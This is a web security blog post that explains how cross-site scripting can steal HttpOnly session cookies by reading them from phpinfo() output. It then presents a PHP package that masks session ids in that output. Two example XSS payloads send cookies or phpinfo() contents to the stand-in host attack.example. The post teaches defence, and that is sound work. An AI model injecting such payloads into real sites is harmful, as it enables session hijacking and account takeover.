Stealing session ids from phpinfo() output has been a known technique for some time, and is used to bypass the HttpOnly attribute, which prohibits JavaScript from accessing a cookie marked as such (e.g. PHPSESSID). I just now thought of a solution that allows you to keep your phpinfo(): we'll simply censor the sensitive data, making phpinfo() lose some of its value to the attacker.

A typical web application login looks like this: you enter your name and password, submit the form, the application verifies the login data and stores the information that you are logged in to the so-called session. It then sends a cookie to your browser with a session id that identifies your “box” of session data. No one else will intentionally get your session id, because if they did, they would then be logged into your account, which would be highly undesirable.

Session hijacking

And this is where the bad guys come in: they are trying to get the session identifier from you, undetected, to get into your session and basically impersonate you, to hijack your session (that's why it's called “session hijacking”). One such classic way to steal a session id is through a Cross-Site Scripting (XSS) attack, where the attacker somehow inserts JavaScript into the page, either directly or by inserting an external file that will contain the malicious code. The inserted code might look like this:

new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);

When the visitor comes to the page, their browser sees the JavaScript, creates an object of type Image and wants to load the image from the specified address. The cookie parameter contains all cookies that JavaScript currently has access to, i.e. those that are stored for the current page (as set by the Domain, Path, etc. attributes) and do not have the HttpOnly flag set, safely encoded for transmission in the URL.

An attacker can then view the attack.example server access log, where they can see a request for e.g. /?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19, then retrieves the session id from it, loads the page from which they stole the session id in the browser, opens developer tools and adds or changes the PHPSESSID cookie, then reloads the page and suddenly the attacker is logged in as a user of the poor victim in the same session.

HttpOnly attribute

If the cookie has the HttpOnly attribute, then JavaScript can't read it and the code above can't steal it. You can test this on virtually any website: in your browser in the developer tools, find a cookie with the HttpOnly attribute in the Application (Chrome) or Storage (Firefox) tab, and in the console, which you can open directly by hitting the Escape key, use the document.cookie command to list all cookies as JavaScript sees them – cookies with HttpOnly will not be there.

Cookie with HttpOnly attribute is not visible in document.cookie

A cookie with a session id, usually named PHPSESSID in PHP applications, often has the HttpOnly attribute set. However, it is not set in the default PHP configuration and needs to be done manually, e.g. by

ini_set('session.cookie_httponly', true);

Bypassing HttpOnly with phpinfo()

So bad luck, unless… unless the output from phpinfo(), a PHP function that lists everything about the PHP currently in use, is displayed somewhere on the site. Usually, it is at /info.php or /phpinfo.php, sometimes it's behind login in admin for example, which is the better and recommended option, but the authentication alone won't solve the problem described here. I've also mentioned phpinfo() in the article about Full Path Disclosure, because in addition to PHP configuration and extension information, it also displays the path to files, which can be useful to attackers.

phpinfo()

A typical phpinfo() output

However, the output from phpinfo() also lists the values of cookies that the browser sent during the request, including those with HttpOnly, because such cookies are normally transmitted over the network and the server receives them as part of the request. So the session id value will also be listed, at least on a line with e.g. $_COOKIE['PHPSESSID'], but depending on the PHP version and configuration it can be more than that.

Session id in phpinfo() in $_REQUEST, $_COOKIE and $_SERVER arrays

An attacker can take advantage of this: instead of stealing the session id by JavaScript directly from the browser using document.cookie, they send a JavaScript request to e.g. /phpinfo.php, pick only the interesting part of the response, which they then append to the following request they send to a server under the attacker's control. This can be done by, for example, the following code, which will be inserted somewhere in the pages on https://app.example/ instead of the above mentioned new Image().src …:

fetch('https://app.example/info.php')
  .then(response => response.text())
  .then(text => {
    cookie = text.match(/_COOKIE.{1,2000}/)[0];
    fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
  });

On the first line we send a request to /info.php, the second and third lines ensure that we have the output from phpinfo() in the variable text, from which on the fourth line we pick the string _COOKIE followed by other 2000 characters max, which will certainly, in addition to some HTML, also contain the session id. On the fifth line, we then add this substring to the request sent to attack.example. We don't care about the response anymore, it's enough that the browser sent the request, and then we look at the access log on the server. We could easily send the whole phpinfo(), but there's no need, we're just going after the session id cookie.

If you have some Cross-Site Scripting in your application to allow an attacker to insert any malicious JavaScript, and output from phpinfo(), whether publicly or behind a login, the bad guy can steal the session id even if the cookie with it has the HttpOnly attribute.

Now what?

  1. Don't have XSS on your site
  2. Don't have output from phpinfo() or things like var_dump($_SERVER) etc. in the application, and certainly not publicly

Theory and practice says it's better to expect you'll have some Cross-Site Scripting at some point, so point no. 1 falls. Oh, and the output from phpinfo() is quite a useful thing, so point no. 2 is also often unrealistic.

It wasn't until I wrote a bug report with the title “System Information contains sensitive information like the session id cookie” that I thought of a compromise (pun not intended): we will leave phpinfo() in the admin, but we will censor the important data, nobody looks at it anyway. Another layer of protection could be a requirement to enter your password or a 2FA code every single time you'd like to see the phpinfo() output.

spaze/phpinfo

Some time ago, I created a simple package spaze/phpinfo, which takes the output from phpinfo(), cuts off the HTML header so that the output can be inserted into some custom admin design etc. and replaces inline CSS style="…" with class="…". I've now added sanitization to this class, which by default replaces the session id value with asterisks.

The usage is as simple as calling phpinfo():

$info = new \Spaze\PhpInfo\PhpInfo();
echo $info->getHtml();

The core of the whole miracle is basically this code:

ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);

However, you can add custom sanitization of other values such as persistent login cookies and more, and you can choose your own “asterisks”:

// $loginToken = e.g. getLoginTokenValue();
$info = new \Spaze\PhpInfo\PhpInfo();
$info->addSanitization($loginToken, 'thanks but no thanks');
echo $info->getHtml();

And I'd also suggest you explicitly specify the session id, rather then letting the class determine it automatically, by for example using something like the following:

$info = new \Spaze\PhpInfo\PhpInfo();
$info->addSanitization($this->sessionHandler->getId(), '[nope]');
echo $info->getHtml();

On my own site, this is all handled by the SanitizedPhpInfo class (well tested), and the result looks like this:

phpinfo() with masked values in v $_COOKIE[‘PHPSESSID’] a $_SERVER[‘HTTP_COOKIE’]

Setec Astronomy is an anagram for “too many secrets”

Instead of just calling phpinfo(), use spaze/phpinfo. I also added the phpinfo() function to spaze/phpstan-disallowed-calls, which is an extension for PHPStan that looks for dangerous functions and more in your code.

What not to do

Although this article is not intended to be a complete guide to (defense against) stealing sessions, I can imagine that you will still come up with Definitive Good Ideas™️ on how to prevent such hijackings.

For many years now, such a classic idea has been to “lock” the session to a specific IP address only, and then you can't get into that session from another, e.g. from the attacker's, even knowing the session id. This sounds great until we realize how often we say “I have to go, I'm doing this at home/cabin/cafe”, or that our office actually has several connections to the Internet that seem to be switched randomly.

All of the above results in the IP address changing more often than it might seem at first glance, which would cause too frequent logouts and especially logins, thus significantly reducing usability. Not recommended.

So let's tie the session to e.g. the browser version! Good idea, except the browser version alone is not very unique, and it changes with every update. So we'll mark the browser somehow, with some other identifier, a fingerprint. Sure, let me just save the fingerprint in a cookie, which… will also be displayed in phpinfo().

Listen, we will detect the fingerprint automatically with each request, for example using JavaScript! Interesting, but the assumption here is that the attacker can run their own JavaScript on the page that detects that fingerprint just like your JavaScript, not to mention that browsers try to eliminate such user tracking to some extent.

So perhaps a modern system solution would be needed, not as a replacement for the phpinfo() censorship described above, but rather as an addition. Hmm, how about:

Device Bound Session Credentials

Cookie theft may soon be a thing of the past, as Chrome is experimenting with something they call Device Bound Session Credentials. This should ensure that the session is tied to a specific device, using public and private keys and a TPM to store them. It should also work as a sort of extension of classic sessions, it shouldn't require some brutal changes to everything.

A prototype of this solution already protects some Google Account users running Chrome Beta and by the end of 2024 the Device Bound Session Credentials should be available to the public and other sites as Origin Trials.

Updates

May 15, 2024 I added the What not to do paragraph

Michal Špaček

Michal Špaček

I build web applications and I'm into web application security. I like to speak about secure development. My mission is to teach web developers how to build secure and fast web applications and why.

Public trainings

Come to my public trainings, everybody's welcome: